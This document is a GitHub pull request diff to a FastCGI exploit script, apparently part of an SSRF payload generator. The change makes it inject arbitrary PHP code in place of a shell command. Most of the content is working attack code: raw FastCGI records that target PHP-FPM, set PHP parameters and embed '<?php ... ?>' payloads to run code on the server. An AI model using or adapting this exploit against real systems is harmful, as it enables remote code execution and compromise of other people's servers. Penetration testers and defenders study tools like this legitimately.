Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Change terminal command input to any php code input in FastCGI exploit. #15

Open
wants to merge 3 commits into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 3 additions & 3 deletions scripts/FastCGI.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,8 +6,8 @@ def FastCGI():
if(not filename):
filename="/usr/share/php/PEAR.php"

command=raw_input("\033[96m" +"Terminal command to run: "+ "\033[0m")
length=len(command)+52
phpcode=raw_input("\033[96m" +"PHP code to run: "+ "\033[0m")
length=len(phpcode)+43
char=chr(length)

data = "\x0f\x10SERVER_SOFTWAREgo / fcgiclient \x0b\tREMOTE_ADDR127.0.0.1\x0f\x08SERVER_PROTOCOLHTTP/1.1\x0e" + chr(len(str(length)))
Expand All @@ -19,7 +19,7 @@ def FastCGI():
temp3 = chr(len(data) % 8)

end = str("\x00"*(len(data)%8)) + "\x01\x04\x00\x01\x00\x00\x00\x00\x01\x05\x00\x01\x00" + char + "\x04\x00"
end += "<?php system('" + command + "');die('-----Made-by-SpyD3r-----\n');?>\x00\x00\x00\x00"
end += "<?php " + phpcode + ";die('-----Made-by-SpyD3r-----\n');?>\x00\x00\x00\x00"

start = "\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x04\x00\x01" + temp1 + temp2 + temp3 + "\x00"

Expand Down